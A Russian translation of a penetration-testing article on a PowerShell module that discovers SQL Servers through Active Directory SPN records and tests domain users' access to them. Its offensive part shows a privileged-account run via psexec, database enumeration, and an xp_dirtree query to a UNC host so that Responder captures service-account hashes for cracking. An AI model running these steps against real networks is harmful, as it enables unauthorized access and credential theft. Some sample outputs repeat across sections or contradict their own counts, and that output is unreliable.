В этой статье я продемонстрирую скрипт для PowerShell, использующий SPN-записи (Service Principal Name, Первичное имя сервиса), взятые из Active Directory, для обнаружения и атаки на SQL-сервера, находящиеся внутри Windows-доменов, без сканирования.
Автор: Скот Сазерленд (Scott Sutherland)
В этой статье я продемонстрирую скрипт для PowerShell, использующий SPN-записи (Service Principal Name, Первичное имя сервиса), взятые из Active Directory, для обнаружения и атаки на SQL-сервера, находящиеся внутри Windows-доменов, без сканирования. Первоначально скрипт был написан для повышения привилегий и обнаружения критических данных во время пентестов. Кроме того, я расскажу о том, как использовать этот скрипт не только для атаки, но и для защиты.
Введение
Использование техник сканирования для обнаружения SQL-серверов может быть полезно в тех случаях, когда у нас нет информации об учетных записях, либо мы охотимся за серверами, находящимися вне домена. Однако эта процедура может быть весьма затратна по времени и, к тому же, легко обнаружена. Кроме того, некоторые SQL-сервера вовсе могут ускользнуть от нас из-за неизвестных подсетей, использования нестандартных портов и ограничений в домене, которые накладываются на пересылку сообщений. После того как я столкнулся с SPN-записями, то сразу понял, что их можно использовать для быстрого обнаружения SQL-серверов в домене.
В документации от компании Microsoft утверждается следующее: «первичное имя сервиса – имя, по которому клиент однозначно опознает инстанс службы». Сия фраза означает, что каждая служба (включая сервисы SQL-серверов), установленная в домене, регистрируется в Active Directory. В результате этого, каждый пользователь домена может получить полный список SQL-серверов, установленных в домене, без использования сканера. Кроме того, SPN-записи содержат корректные имена инстансов и номера портов, что значительно экономит время. Более подробно об SPN я рассказываю в другой своей статье: Faster Domain Escalation Using LDAP.
Однако, даже зная о том, что в Active Directory присутствует информация об SPN, я быстро понял, что нужно более автоматизированное решение, которое весьма пригодится во время пентестов.
Автоматизация процесса при помощи PowerShell
После некоторых экспериментов я подумал, что неплохо было бы смастерить скрипт, который автоматически получал список SQL-серверов из ADS (Active Directory Services) через LDAP и автоматически определял уровень доступа к каждому серверу у текущего пользователя домена. Для решения этой задачи в PowerShell есть все необходимые возможности. К примеру, стандартная установка PowerShell v.3 включает поддержку для LDAP-запросов, запросов к SQL-серверу, преобразование IP-адресов, ICMP-запросы и много других полезностей. Дополнительный плюс в том, что для использования всех вышеупомянутых фитч не требуется установка дополнительный библиотек, модулей и командлетов (cmdlets).
После некоторых экспериментов на свет появился модуль "Get-SQLServerAccess.psm1" для PowerShell. Я попытался добавить в него как можно больше различных настроек, чтобы модуль был полезен как при атаках, так и для защиты систем (к примеру, можно быстро найти привилегии с высоким уровнем доступа, которые потенциально могут быть использованы злоумышленниками). Кроме того, скрипт удобен для определения местонахождения хранилищ информации.
Если вы не знакомы с установкой модулей в PowerShell, то далее я проведу небольшой ликбез по этой теме.
Установка модуля
Скрипт можно загрузить с моего аккаунта на github. Через некоторое время я также планирую добавить его в проект Posh-SecMod. Требуется наличие PowerShell v3. Модуль можно либо установить вручную, положив файл Get-SQLServerAccess.psm1 в одну из следующих директорий:
%USERPROFILE%\Documents\WindowsPowerShell\Modules\Get-SQLServerAccess\
%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\Get-SQLServerAccess\
Либо импортировать при помощи следующей команды:
Import-Module c:\temp\Get-SQLServerAccess.psm1
Рисунок 1: Процедура импорта модуля
После импорта проверьте, что модуль установился успешно, используя следующую команду (или просто запустите модуль):
Get-Command Get-SQLServerAcess
Рисунок 2: Проверка работоспособности модуля
Использование модуля в защитных целях
Администраторы баз данных часто наделяют всех пользователей домена правами доступа, которые позволяют залогиниться на SQL-сервера. Такое происходит из-за того, что администраторы домена не всегда уверены, каким группам на самом деле нужен доступ. Кроме того, старые версии SQL-серверов по умолчанию позволяют логиниться всем без исключения пользователям домена. Причина тому – проблема с наследованием привилегий, о которой я рассказывал предыдущей статье. Подобные ошибки в настройках позволяют пользователям получать неавторизированный доступ, и наша задача – быстро обнаружить и исправить эти проблемы.
По умолчанию скрипт Get-SQLServerAccess выводит список SQL-серверов, на которые может залогиниться текущий пользователь домена. Кроме того, выводятся имена тех инстансов, к которым у пользователя есть привилегии сисадмина (sysadmin access), и если учетная запись, используемая для запуска службы SQL-сервера, - Domain Admin. Ниже показано несколько примеров.
- PS C:\Get-SQLServerAccess
- [*] ----------------------------------------------------------------------
- [*] Start Time: 04/01/2014 10:00:00
- [*] Domain: mydomain.com
- [*] DC: dc1.mydomain.com
- [*] Getting list of SQL Server instances from DC as mydomain\myuser...
- [*] 5 SQL Server instances found in LDAP.
- [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
- [*] ----------------------------------------------------------------------
- [-] Failed - server1.mydomain.com is not responding to pings
- [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
- [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
- [*] ----------------------------------------------------------------------
- [*] 3 of 5 SQL Server instances could be accessed.
- [*] End Time: 04/01/2014 10:02:00
- [*] Total Time: 00:02:00
- [*] ----------------------------------------------------------------------
- Получаем список SQL-серверов из ADS через LDAP запрос и пытаемся залогиниться к каждому инстансу, используя текущую учетную запись. В этом примере информация сохраняется в CSV-файл.
- PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
- [*] ----------------------------------------------------------------------
- [*] Start Time: 04/01/2014 10:00:00
- [*] Domain: mydomain.com
- [*] DC: dc1.mydomain.com
- [*] Getting list of SQL Server instances from DC as mydomain\myuser...
- [*] 5 SQL Server instances found in LDAP.
- [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
- [*] ----------------------------------------------------------------------
- [-] Failed - server1.mydomain.com is not responding to pings
- [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
- [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
- [*] ----------------------------------------------------------------------
- [*] 3 of 5 SQL Server instances could be accessed.
- [*] End Time: 04/01/2014 10:02:00
- [*] Total Time: 00:02:00
- [*] ----------------------------------------------------------------------
Ниже показан скриншот CSV-файла:
Рисунок 3: Содержимое CSV-файла с перечнем потенциально уязвимых серверов
В примере выше показаны результаты из моей лаборатории, но в боевых условиях часто в подобных списках находятся сотни серверов. Еще рекомендую запустить скрипт под учетной записью domain computer account, что можно сделать, если выполнить команду «psexec.exe –s –i cmd.exe», а потом запустить скрипт, как показано выше. Вы удивитесь, насколько много серверов, к которым есть доступ из-под этих учетных записей.
Использование скрипта для атаки
Существует много различных техник для атаки на SQL-сервера. Я покажу, как, используя скрипт, можно реализовать некоторые из них.
2. PS C:\Get-SQLServerAccess -sqluser test -sqlpass test
3. [*] ----------------------------------------------------------------------
4. [*] Start Time: 04/01/2014 10:00:00
5. [*] Domain: mydomain.com
6. [*] DC: dc1.mydomain.com
7. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
8. [*] 5 SQL Server instances found in LDAP.
9. [*] Attempting to login into 5 SQL Server instances as test...
10. [*] ----------------------------------------------------------------------
11. [-] Failed - server1.mydomain.com is not responding to pings
12. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
13. [+] Failed - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed
14. [+] Failed - server3.mydomain.com\SQLEXPRESS (192.168.1.103) is up, but authentication failed
15. [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes
16. [*] ----------------------------------------------------------------------
17. [*] 1 of 5 SQL Server instances could be accessed.
18. [*] End Time: 04/01/2014 10:02:00
19. [*] Total Time: 00:02:00
20. [*] ----------------------------------------------------------------------
22. PS C:\Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"
23. [*] ----------------------------------------------------------------------
24. [*] Start Time: 04/01/2014 10:00:00
25. [*] Domain: mydomain.com
26. [*] DC: dc1.mydomain.com
27. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
28. [*] 5 SQL Server instances found in LDAP.
29. [*] Attempting to login into 5 SQL Server instances as test...
30. [*] ----------------------------------------------------------------------
31. [-] Failed - server1.mydomain.com is not responding to pings
32. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
33. [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No
34. [+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
35. [+] Query output:
36.
37. Databases
38. ---------
39. master
40. tempdb
41. msdb
42.
43. [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No
44. [+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
45. [+] Query output:
46.
47. Databases
48. ---------
49. master
50. tempdb
51. msdb
52.
53. [+] SUCCESS! - server4.mydomain.com\AppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes
54. [+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
55. [+] Query output:
56.
57. Databases
58. ---------
59. master
60. tempdb
61. msdb
62. PCIDataDB
63. ApplicationDB
64. CompanySecrects
65.
66. [*] ----------------------------------------------------------------------
67. [*] 3 of 5 SQL Server instances could be accessed.
68. [*] End Time: 04/01/2014 10:02:00
69. [*] Total Time: 00:02:00
70. [*] ----------------------------------------------------------------------
72. PS C:\ Get-SQLServerAccess -query "exec master..xp_dirtree '\\192.168.1.50\file'"
73. [*] ----------------------------------------------------------------------
74. [*] Start Time: 04/01/2014 10:00:00
75. [*] Domain: mydomain.com
76. [*] DC: dc1.mydomain.com
77. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
78. [*] 5 SQL Server instances found in LDAP.
79. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
80. [*] ----------------------------------------------------------------------
81. [-] Failed - server1.mydomain.com is not responding to pings
82. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
83. [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
84. [+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
85. [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
86. [+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
87. [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
88. [+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
89. [*] ----------------------------------------------------------------------
90. [*] 3 of 5 SQL Server instances could be accessed.
91. [*] End Time: 04/01/2014 10:02:00
92. [*] Total Time: 00:02:00
93. [*] ----------------------------------------------------------------------
Существует прекрасная утилита Responder, при помощи которой можно собрать хеши паролей, отсылаемые со стороны каждого SQL-сервера. Полученные хеши можно взломать при помощи утилит наподобие OCLHashcat.
95. PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
96. [*] ----------------------------------------------------------------------
97. [*] Start Time: 04/01/2014 10:00:00
98. [*] Domain: mydomain.com
99. [*] DC: dc1.mydomain.com
100. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
101. [*] 5 SQL Server instances found in LDAP.
102. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
103. [*] ----------------------------------------------------------------------
104. [-] Failed - server1.mydomain.com is not responding to pings
105. [+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
106. [+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
107. [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
108. [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
109. [*] ----------------------------------------------------------------------
110. [*] 3 of 5 SQL Server instances could be accessed.
111. [*] End Time: 04/01/2014 10:02:00
112. [*] Total Time: 00:02:00
113. [*] ----------------------------------------------------------------------
На скриншоте ниже показаны три сервера, использующих общую учетную запись:
Рисунок 4: Перечень SQL-серверов, использующих одну и ту же сервисную учетную запись
- PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
- [*] ----------------------------------------------------------------------
- [*] Start Time: 04/01/2014 10:00:00
- [*] Domain: mydomain.com
- [*] DC: dc1.mydomain.com
- [*] Getting list of SQL Server instances from DC as mydomain\myuser...
- [*] 5 SQL Server instances found in LDAP.
- [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
- [*] ----------------------------------------------------------------------
- [-] Failed - server1.mydomain.com is not responding to pings
- [+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
- [*] ----------------------------------------------------------------------
- [*] 3 of 5 SQL Server instances could be accessed.
- [*] End Time: 04/01/2014 10:02:00
- [*] Total Time: 00:02:00
- [*] ----------------------------------------------------------------------
На рисунке ниже показаны для сервера, чьи связи потенциально могут быть использованы в злонамеренных целях:
Рисунок 5: Количество связей у каждого инстанса
Наш канал — питательная среда для вашего интеллекта